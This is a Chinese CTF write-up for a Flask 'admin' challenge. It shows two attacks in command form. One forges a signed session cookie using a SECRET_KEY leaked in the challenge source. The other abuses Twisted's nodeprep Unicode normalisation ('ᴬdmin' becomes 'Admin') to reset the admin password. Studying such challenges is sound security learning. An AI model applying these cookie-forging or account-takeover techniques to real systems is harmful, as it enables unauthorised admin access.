基本信息
进去就是login,register,源码里有一句注释
1 | <!-- you are not admin --> |
随意注册账号登录进去,有一个change password选项,change页面注释github泄漏:
https://github.com/woadsl1234/hctf_flask/
session 伪造
因为题目要求admin,源码也可以看到需要session['name'] == 'admin'
后会在页面显示flag,根据p师傅之前的文章:
https://www.leavesongs.com/PENETRATION/client-session-security.html
flask的session都是在本地的,通过一个SECRET_KEY进行签名,可以直接使用脚本进行操作:
https://github.com/noraj/flask-session-cookie-manager
1 | python3 flask_session_manager.py decode -c .eJw9kE2LwjAURf_KkLWLfm4EFx1SSwvvlZZ0QrIRR6s16XOgrUyN-N-nOOD6cs_l3AfbnYZ27Nh6Gm7tiu0uR7Z-sI9vtmYQqBllc1fuEIKrqRRHg6boFKUxEIQgVKg5WhRFB1l-1yYJQeYOeR6poLbKJV7JP0m53NNi2wOlDmTqA1UORBVCVsWaa4u8viBPfCW_CAPsNaU-Ghsp0fXgDg7dOUZSQSlhRpPMWhytzhofTGGR8jtksGHPFTuMw2k3_dj2-lYoeROBaH6XWoym7kAiaYJZma1VAnsI9KKTx1qcI5DFMlJ3WG1euAvtz-2bJAIUZfKfXPe0BGxqx4mt2G1sh9dtzPfY8w9gTmvt.Xb_HBg.KuktGfJY6uvuJvIBeqzZF6Bk5CU |
可以看到原有的session中name为test,可以尝试将其修改为admin后重新签名,github源码中也有
1 | SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' |
那么就直接尝试使用ckj123作为KEY
1 | python3 flask_session_manager.py encode -t "{'_fresh': True, '_id': b'ca73d01f58fe172c279fdb1026ba1202390ee0e60b049380c8785511afd9560104b61fa487c4bcb293fc463ef1548d3cad028ce1b5ff4922ab5246e4105a0a33', 'csrf_token': b'bcb966803bad1e8b020d5b7cf5e843fb157ef072', 'image': b'Av32', 'name': 'admin', 'user_id': '10'}" -s ckj123 |
Unicode欺骗
这个应该是预期解
源码中显示,各种操作前都会对用户名进行自定义的strlower
1 | def strlower(username): |
nodeprep.prepare对应的库是
https://github.com/twisted/twisted
requirements.txt中显示Twisted==10.2.0
版本非常老,明显有问题
根据这篇文章
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
unicode问题,对于一些特殊字符,nodeprep.prepare会进行如下操作
1 | ᴬ -> A -> a |
即第一次将其转换为大写,第二次将其转换为小写
那么,攻击链大概就这样
- 注册用户ᴬdmin
- 登录用户ᴬdmin,变成Admin
- 修改密码Admin,更改了admin的密码